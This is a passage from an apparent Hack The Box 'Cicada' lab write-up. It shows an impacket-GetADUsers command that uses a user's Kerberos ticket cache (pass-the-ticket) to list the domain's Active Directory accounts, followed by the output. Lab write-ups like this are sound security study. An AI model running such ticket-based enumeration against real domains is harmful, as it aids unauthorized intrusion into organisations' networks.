Username Extraction
Extracting domain users through thepass_the_ticket technique with the TGT of the michael.wrightson user
┌──(kali㉿kali)-[~/archive/htb/labs/cicada]
└─$ KRB5CCNAME=michael.wrightson@cicada-dc.cicada.htb.ccache impacket-GetADUsers CICADA.HTB/michael.wrightson@cicada-dc.cicada.htb -no-pass -k -dc-ip $IP -all
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Getting machine hostname
[*] Querying CICADA-DC for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2024-08-26 22:08:03.186878 2024-09-26 20:07:18.840017
Guest 2024-08-28 19:26:56.662374 2024-03-15 07:18:24.017051
krbtgt 2024-03-14 12:14:10.395299 <never>
john.smoulder 2024-03-14 13:17:29.183818 <never>
sarah.dantelia 2024-03-14 13:17:29.310232 <never>
michael.wrightson 2024-03-14 13:17:29.373763 2024-09-29 05:31:24.293111
david.orelious 2024-03-14 13:17:29.513848 2024-03-15 07:32:21.999264
emily.oscars 2024-08-22 23:20:17.303714 <never> Those 5 users have been already identified No additional user found